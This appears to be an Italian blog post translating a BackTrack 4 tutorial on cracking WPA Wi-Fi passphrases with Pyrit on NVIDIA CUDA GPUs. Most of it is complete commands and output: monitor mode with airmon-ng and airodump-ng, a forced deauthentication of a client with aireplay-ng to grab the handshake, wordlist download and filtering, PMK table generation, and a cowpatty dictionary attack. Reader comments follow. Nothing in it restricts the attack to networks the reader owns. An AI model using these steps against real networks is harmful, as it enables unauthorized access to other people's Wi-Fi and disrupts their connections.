Hacking WPA con CUDA (nVidia)

L’utente alex88 ci ha gentilmente fornito la traduzione del tutorial trovato sul forum del bt4 per cracckare con il cuda delle schede nvidia le password wpa. Questo permette di utilizzare il processore delle schede video nvidia allo stesso modo di quando si craccka gli md5 mediante vari programmi.
(il crack si basa su un dizionario, dal quale viene creata una hash table)

[QUI] il 3D ufficiale

Premessa: dovete avere una scheda nvidia che supporta il CUDA http://en.wikipedia.org/wiki/CUDA#Supported_GPUs e il backtrack 4 (per ora beta) in quanto include già il supporto per esso.
Per prima cosa installiamo il modulo nvidia appena finito il boot (non fate startx)
Codice:
root@bt:~# cd /opt/cuda/
root@bt:/opt/cuda# ls
CUDA_INSTALL cuda-set-env.sh nv_20090130-1_i386.deb
root@bt:/opt/cuda# bash CUDA_INSTALL

Ci verrà fuori un po di linee e alla fine ci verrà richiesto di riconfigurare il nostro xorg.conf, scegliamo no, quindi installiamo i driver
Codice:
root@bt:~# modprobe nvidia
root@bt:~# depmod -a

ora visto che il nostro file di config è stato completamente rifatto, facciamone uno nuovo con:
Codice:
root@bt:~# X -configure

questo crea il file di config nella nostra home e dovremmo copiarlo a mano:
Codice:
root@bt:~# cp xorg.conf.new /etc/X11/xorg.conf

ora dovremmo essere in grado di poter avviare il nostro window manager e iniziamo subito a testare le differenze tra processore e cuda:
Codice:
root@bt:/pentest/password/pyrit# python pyrit.py benchmark
The Pyrit commandline-client (C) 2008 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3

The ESSID-blobspace seems to be empty; you should create an ESSID…
Available cores: ‘Standard CPU’, ‘Nvidia CUDA’
Testing CPU-only core ‘Standard CPU’ (4 CPUs)… 1294.58 PMKs/s

Testing GPU core ‘Nvidia CUDA’ (Device ‘GeForce 8800 GT’)… 5409.43 PMKs/

come vedete la gpu va 5 volte tanto la cpu.
Ora quindi possiamo iniziare catturando un handshake (volendo si può restringere il campo aggiungendo “-c #CANALE” a airodump per poter sintonizzare la scheda ad un solo canale
Codice:
root@bt:~# ifconfig wlan0 up
root@bt:~# airmon-ng start wlan0
root@bt:~#airodump-ng -w cudacapture mon0

Se non troviamo hanshake deautentichiamo qualcuno in maniera di catturarlo alla sua riconnessione:
Codice:
root@bt:~# aireplay-ng -0 10 -a (mac dell’Access Point) -c (mac del client) mon0
01:13:28 Waiting for beacon frame (BSSID: 00:1D:7E:F0:A5:8F) on channel 6
01:13:29 Sending 64 directed DeAuth. STMAC: [00:13:02:A7:DD:53] [25|68 ACKs]
01:13:30 Sending 64 directed DeAuth. STMAC: [00:13:02:A7:DD:53] [ 3|63 ACKs]
01:13:31 Sending 64 directed DeAuth. STMAC: [00:13:02:A7:DD:53] [64|64 ACKs]
01:13:32 Sending 64 directed DeAuth. STMAC: [00:13:02:A7:DD:53] [64|64 ACKs]
01:13:33 Sending 64 directed DeAuth. STMAC: [00:13:02:A7:DD:53] [64|63 ACKs]
01:13:34 Sending 64 directed DeAuth. STMAC: [00:13:02:A7:DD:53] [64|64 ACKs]
01:13:35 Sending 64 directed DeAuth. STMAC: [00:13:02:A7:DD:53] [64|64 ACKs]
01:13:36 Sending 64 directed DeAuth. STMAC: [00:13:02:A7:DD:53] [ 5|64 ACKs]
01:13:37 Sending 64 directed DeAuth. STMAC: [00:13:02:A7:DD:53] [11|64 ACKs]
01:13:38 Sending 64 directed DeAuth. STMAC: [00:13:02:A7:DD:53] [64|64 ACKs]

ora possiamo verificare di aver catturato l’handshake,
Codice:
root@bt:~# aircrack-ng cudacapture-01.cap
Opening cudacapture-01.cap
Read 5612 packets.

# BSSID ESSID Encryption

1 00:1D:7E:F0:A5:8F ddwrt1 WPA (1 handshake)
2 00:1D:7E:64:9A:7C ddwrt2 WPA (0 handshake)
3 00:21:29:84:11:FD CookNet WEP (34 IVs)
4 00:0C:41:3E:2D:66 linksys None (192.168.1.1)
5 00:12:0E:7B:02:78 WEST7359 No data – WEP or WPA
6 00:1A:70:83:B0:1C linksys None (0.0.0.0)
7 00:13:46:44:A5:CE default WEP (11 IVs)
8 00:14:6C:F6:36:78 CBC None (0.0.0.0)
9 00:06:25:DB:3E:7B linksys None (0.0.0.0)
10 00:1B:2F:63:7C:50 PawsWithPurpose No data – WEP or WPA
11 00:21:29:9A:E6:3C Bigfoot No data – WEP or WPA
12 00:1C:10:89:16:76 linksys None (0.0.0.0)

Index number of target network ?

ora nella nostra home possiamo scaricare un dizionario:
Codice:
root@bt:~# wget http://www.outpost9.com/files/wordlists/dic-0294.zip
–2009-02-11 01:17:53– http://www.outpost9.com/files/wordlists/dic-0294.zip
Resolving http://www.outpost9.com… 12.180.200.208
Connecting to http://www.outpost9.com|12.180.200.208|:80… connected.
HTTP request sent, awaiting response… 200 OK
Length: 3283473 (3.1M) [application/zip]
Saving to: `dic-0294.zip’

100%[================================================================================>] 3,283,473 268K/s in 9.2
root@bt:~# unzip dic-0294.zip
Archive: dic-0294.zip
inflating: dic-0294.txt

Togliamo quello che non ci serve:
Codice:
root@bt:~# cat dic-0294.txt | sort | uniq | pw-inspector -m 8 -M 63 > wpa.lst
root@bt:~# wc -l wpa.lst
597532 wpa.lst

Ora inizia il cracckaggio vero e proprio:
Codice:
root@bt:~# cd /pentest/password/pyrit/
root@bt:/pentest/password/pyrit#

digitiamo il nostro essid
Codice:
root@bt:/pentest/password/pyrit# python pyrit.py -e (NOSTRO ESSID) create_essid
The Pyrit commandline-client (C) 2008 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3

Created ESSID ‘(NOSTRO ESSID)’

importiamo il dizionario precedentemente creato
Codice:
root@bt:/pentest/password/pyrit# python pyrit.py -f /root/wpa.lst import_passwords
The Pyrit commandline-client (C) 2008 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3

Importing from ‘/root/wpa.lst’
597532 lines read. All done.

e iniziamo la generazione della tabella:
Codice:
root@bt:/pentest/password/pyrit# python pyrit.py batchprocess
The Pyrit commandline-client (C) 2008 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3

Using default core ‘Nvidia CUDA’ (Device ‘GeForce 8800 GT’)
Working on ESSID ‘ddwrt1’
Reading unit ‘1ec5841a057928e33972489b461cb914’ (54072 passwords buffered)
All done, computed 54072 PMKs in 10.47 seconds, 5164.13 PMKs/s)
Reading unit ‘6c9303c848ed6a4473221229d4387934′ (54996 passwords buffered)
All done, computed 54996 PMKs in 10.79 seconds, 5099.30 PMKs/s)
Reading unit ’70ded804144475dbc58b982625483821’ (56076 passwords buffered)
All done, computed 56076 PMKs in 10.74 seconds, 5223.29 PMKs/s)…

…Reading unit ‘f384ca460307a079503db313ece6806e’ (53808 passwords buffered)
All done, computed 53808 PMKs in 10.67 seconds, 5044.67 PMKs/s)
Reading unit ‘1bf464713cab79da5efc8503e8f28812’ (17496 passwords buffered)
All done, computed 17496 PMKs in 3.23 seconds, 5422.30 PMKs/s)

Batchprocessing done.

Esportiamo il file per cowpatty (simile al cracked di aircrack ma più veloce):
Codice:
root@bt:/pentest/password/pyrit# python pyrit.py -e (NOSTRO ESSID) -f cow.out export_cowpatty
The Pyrit commandline-client (C) 2008 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3

Exporting to ‘cow.out’…
4656218 entries written. All done.

Ora iniziamo la ricerca della chiave:
Codice:
root@bt:~# cd /pentest/password/oc-v0.7/cowpatty-v4.3/cowpatty/
root@bt:/pentest/password/oc-v0.7/cowpatty-v4.3/cowpatty# ./cowpatty -d /pentest/password/pyrit/cow.out -s (NOSTRO ESSID) -r /root/cudacapture-01.cap
cowpatty 4.3 – WPA-PSK dictionary attack.

Collected all necessary data to mount crack against WPA2/PSK passphrase.
Starting dictionary attack. Please be patient.
key no. 1000: Mathboldit1
key no. 2000: llegando2
key no. 3000: shougakukan123
key no. 4000: DISGUISING
key no. 5000: Graffaloy
key no. 6000: Passibleness123
key no. 7000: Unmaking2
key no. 8000: Procanal123

Questo è la velocità con l’hash file creato dalla scheda video:
Codice:
[4656217 passphrases tested in 24.84 seconds: 187468.86 passphrases/second
root@bt:/pentest/password/oc-v0.7/cowpatty-v4.3/cowpatty#

e questo quello senza il file:
Codice:
root@bt:/pentest/password/oc-v0.7/cowpatty-v4.3/cowpatty# ./cowpatty -f /root/wpa.lst -s ddwrt2 -r /root/cudacapture-01.cap

27824 passphrases tested in 84.98 seconds: 327.40 passphrases/second

Vorrei scusarmi con wifi-ita e colgo l’occasione per ringraziarli…a volte mi dimentico di postare le fonti..scusate per il ritardo..

Fonte: wifi-ita

3 Risposte

  1. fantastico strumento!
    però mi succede una cosa strana.
    usando pyrit.py nel caricare un dizionario più che altro di numeri, sembra funzionare ma poi se con l’opzione eval vado a vedere le passwd disponibili mi ritorna 0.
    eppure usandone un altro, con parole prese dal dizionario viene caricato normalmente e tutto funziona.

  2. Una domanda….la password viene beccata solo se sta nel dizionario vero?

Lascia un commento

Inserisci i tuoi dati qui sotto o clicca su un'icona per effettuare l'accesso:

Logo WordPress.com

Stai commentando usando il tuo account WordPress.com. Chiudi sessione / Modifica )

Foto Twitter

Stai commentando usando il tuo account Twitter. Chiudi sessione / Modifica )

Foto di Facebook

Stai commentando usando il tuo account Facebook. Chiudi sessione / Modifica )

Google+ photo

Stai commentando usando il tuo account Google+. Chiudi sessione / Modifica )

Connessione a %s...

%d blogger cliccano Mi Piace per questo: